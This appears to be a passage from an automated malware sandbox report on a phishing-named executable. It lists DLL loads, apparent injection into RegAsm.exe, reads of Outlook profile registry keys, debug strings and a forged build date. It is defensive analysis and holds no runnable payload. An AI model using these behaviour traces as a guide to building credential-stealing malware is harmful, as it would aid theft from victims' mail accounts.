Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Windows.Forms.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb00.0 source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indoC:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER987F.tmp.dmp.14.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb=G source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: symbols\dll\System.pdb.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.PDB89 source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbSystem.Core.ni.dll source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb28t source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: assembly\GAC_MSC:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Xml.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb$B source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb` source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Xml.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbexe source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8203000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdbok source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbb* source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: mscorlib.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: mscorlib.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp, WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32bdX source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbTg source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.pdbSystem.pdbpdbtem.pdbGAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.pdbh source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: 0x98EF0654 [Sat Apr 22 18:39:16 2051 UTC]

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1936EB9 push eax; retf	0_2_00007FF7C1936ECE
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C19300BD pushad ; iretd	0_2_00007FF7C19300C1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1A20000 push esp; retf 4810h	0_2_00007FF7C1A20312

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
